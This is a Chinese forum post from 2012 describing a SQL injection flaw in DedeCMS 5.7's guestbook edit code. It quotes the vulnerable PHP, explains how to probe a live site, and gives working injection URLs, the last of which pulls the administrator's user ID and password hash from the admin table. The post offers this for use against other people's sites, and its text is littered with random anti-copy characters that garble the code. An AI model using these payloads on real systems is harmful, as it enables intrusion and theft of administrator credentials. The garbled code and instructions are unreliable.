找回密码
 立即注册
查看: 4782|回复: 0
打印 上一主题 下一主题

dedecms5.7最新sql注射漏洞利用 guestbook.php

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-13 13:24:11 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
影响版本为5.7) T5 X/ _* K9 ~% R
: P, ^9 d) s% \/ ~8 c" C0 a
漏洞文件edit.inc.php具体代码:9 K% ~/ w' V  H) l2 c6 }# l

% N* j6 j  _( a# E3 u- w4 r# r" Y< ?php  
$ ^; g5 P- B  C) a) p, @
2 H  N2 F- D, p$ g3 pif(!defined('DEDEINC')) exit('Request Error!');  3 h5 Z! M7 j+ v; ^2 i6 e
3 P" w; X) c, j3 Q& U
   0 \6 r; T* [/ f

' k! G4 F, a  P5 [" M% rif(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];  
% t) ]9 M/ V0 B3 ?% ^
" Q2 t- ]" p# u1 Oelse $GUEST_BOOK_POS = "guestbook.php";  1 d$ B3 ?, J/ w1 _

1 [1 N: n0 `" {! z2 h8 G7 o# b   % h7 Q' N0 a, ?

) ^! C; f0 C2 v2 [" `$id = intval($id);  " e; ?& q: B: O+ A' Y
# W( Z7 d( l* H$ s% O* }9 K  Q
if(empty($job)) $job='view';  
, t- b+ l0 r& R0 X2 n. J$ G) I8 y7 m- F( r( F. O% v* t' ]; p1 m
     R8 W/ C" ?/ K$ U$ d

9 |. r. e7 T4 o; \2 ~% Gif($job=='del' && $g_isadmin)  
% y1 Q, Q6 @: Z* p1 x0 j+ U' Z' _% o( A3 `1 Q
{  ) m) e4 @4 i$ h" r4 N  q: K$ f# C& d

4 Y% d* }& O& }" x7 B$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");  
5 J+ u! Z8 j/ x! a- f5 B3 J9 w6 C  |2 N* J$ g
ShowMsg("成功删除一条留言!", $GUEST_BOOK_POS);  
0 G2 z* Y! c( m/ a+ I% _# Y$ u6 b1 b/ f! W) G0 q! M
exit();  
/ I5 ~# k8 U- J. B' n% n' t# w6 V# D+ |& Y: M/ g8 b
}  3 w: t! B( T6 C

2 p: ~9 L$ s3 ?$ u) ]3 K/ h1 \4 Delse if($job=='check' && $g_isadmin)  
3 M' Z& q" |5 o& h
4 Z9 N6 L5 P: L7 m) y. V' A{  
% \7 x# J) x) D4 J, o5 q. ^/ N! k: G8 _
$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");  8 U9 A  A9 [5 G. n' y# V

, y8 j2 _- Z$ L% \1 F0 q, vShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);  
$ c6 V8 e* M# P, K4 ^9 ]4 \2 d# w' M+ N. {, t
exit();  
& ]0 K. x! q3 B1 |/ l) O+ m% n% I3 a8 J7 |; T& k8 f/ b
}  
# s1 ?; Z' e6 b. U, Z4 @5 c% L- T! X' _) l
else if($job=='editok')  2 E% Z1 }+ z9 A- N! k( e+ j9 z

  ~3 _+ [! @* M% Y7 Q1 a$ T{  
" Y7 |- b. s  ?
$ J6 Q3 f' b, t+ C- U$remsg = trim($remsg);  
: E% _4 z- J0 j# K* n+ J: ?5 n! d8 C; b1 E; a/ P9 e6 x% \
if($remsg!='')  
! s/ O# c4 [" X. i- _3 r; z- r1 ?" E) X, i- I$ \; A5 }
{  5 W- n+ U% m" B6 ~3 f9 D2 M
9 j9 S8 H9 @3 Z+ K( B
//管理员回复不过滤HTML By:Errorera blog:errs.cc  
! \- K2 q0 N) [' k# w5 j! J* a% G8 _3 `/ `9 c
if($g_isadmin)  
* q+ X9 a6 @0 w6 E$ m# W( M  t& C$ h2 B1 S8 k) v2 I' Q
{  2 g+ ~+ Q2 A# n/ Z1 d: B4 t8 R) y

& k$ v2 n( |; ~; r$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;  : k2 C$ S7 k* P. `" k; G2 w
. V$ E( e* s# ~% c+ n6 u+ E3 t5 M& e
//$remsg <br /><font color=red>管理员回复:</font> }  1 F. }* K: W9 R/ V5 U5 g4 G0 C7 s

1 P6 H8 y8 f  _9 W3 Lelse + c% m; a+ u0 k' m; u* }
6 i* j% g6 l7 [- k, t4 Y/ s6 M
{  
( T$ d' t6 U; m3 R. m, E6 ^$ Q5 E7 O; c/ m  J* s3 _: N
$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");  
% P2 s- V! a& E/ s# I1 h" q3 V- f' B$ u' s/ \# N+ A
$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";  # v5 H1 Y  E: h' t) M) J" Y5 C
8 F6 g+ n: ?  q2 Z+ [
$remsg = trimMsg(cn_substrR($remsg, 1024), 1);  
& [) v! x2 |# M# o
3 s7 k0 \- U- a/ G! S% ~  ^, `$msg = $oldmsg.$remsg;  
+ I) t6 h5 g* S- f' Q3 ~
& g* P* `9 w4 |$ w% p- A- t}  
0 X+ ~4 c3 s5 i* R+ k2 o
- r' M( d  g  b, Q- Q7 \}  6 l2 R( Q1 ]; c$ B

( r* H: t  X, V+ g# h- ]  x- k//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc  0 v" E$ L) K3 V  i  z4 V* c
: m( N3 z& u6 Z: E8 r
$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");  * W! j5 C, }6 ?6 X  `

3 J* w% J+ N* {+ L# cShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);  
" L* Z: ?- U4 ~! _" i4 [7 m( n, d% v1 O* C8 S' T( l7 i3 P
exit();  
- h7 _  d0 F) Z
1 b& U& {' B7 h, t}  8 [4 V  Z) G" M0 z  E3 W( H

( e7 G, F' v0 N: {& ]//home:www.errs.cc  
' L! M0 s: N1 y- A8 P1 e* k: g
if($g_isadmin)  , ?0 X& ?! Y0 ]  ^6 N+ ^9 J' e3 t
. U2 O  H% l( L. v4 @7 \
{  7 F5 h& L" E: B1 d2 r

2 }7 N: ]8 Y4 q3 I1 x, b$ r( f$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");  " u9 f& P' M5 Y

  \! q) s6 @  t. B6 `require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');  
; m& _1 V6 W; }5 K' Z% t1 w7 g% `. \- |( @) s' j8 h7 |
}  
# Q1 B0 @% W! g1 m
7 k4 b" ~  y) Eelse ( b3 W9 Z, }3 a" X1 o7 |" i

/ h2 v, _1 O7 U( P: m0 D{  ( E3 x7 O! o6 n& Z' z" p
% h9 L4 {* I- H4 B1 y
$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");  
, H" v, T) G& s6 l9 K) M0 x; k' D& M8 |9 T
require_once(DEDETEMPLATE.'/plus/guestbook-user.htm');  
6 ~* S* O! w: D
' [! X6 y/ _/ V} 漏洞成功需要条件:% g( C9 e) a( w! f& a# n
1. php magic_quotes_gpc=off; `: }2 O1 f! u6 D: ?
2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。! h4 I, ?- w9 H0 I7 Q, P5 h
% B% ?& \! c0 {
怎么判断是否存在漏洞:9 ^! ?% v  [5 w" }
先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,
, e- R3 e; o. O' t1 W: I/ s然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID
8 a6 I, Z' |9 x5 P  d9 ^. P  N4 e2 }访问:
" r7 R8 j& K% D+ l
1 u) h# B4 F% m0 I' Q5 J& z7 {7 Fwww.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了2 W8 R* @5 l. S
跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证
8 l3 Y8 R& d" X' b/ u* h$ R
* x6 u' ~) H) S; W2 o  ~( W: g0 f; F# ^: r9 M( R+ V" f" g. H
明漏洞无法利用应为他开启了 php magic_quotes_gpc=off
2 u$ b# D4 s+ h# j4 l5 P  o如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。% K7 x+ d; ~& `: P0 P8 _
那么再次访问
# G) j; ?( d. F3 ?, b0 Q! o0 G  t. G/ D8 K3 x& u
www.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().
; j6 O, U2 ~+ |  x% L& e8 y! i, t" S0 G8 b
大概利用就是这样,大家有兴趣的多研究下!!5 P. J5 H8 M4 }" ^# X" `

' O8 f! s7 Q$ Y$ L! p! L4 v最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!
. L8 _" F# j$ ]( O3 K& {
2 o5 r3 {) s* h) w2 pview sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表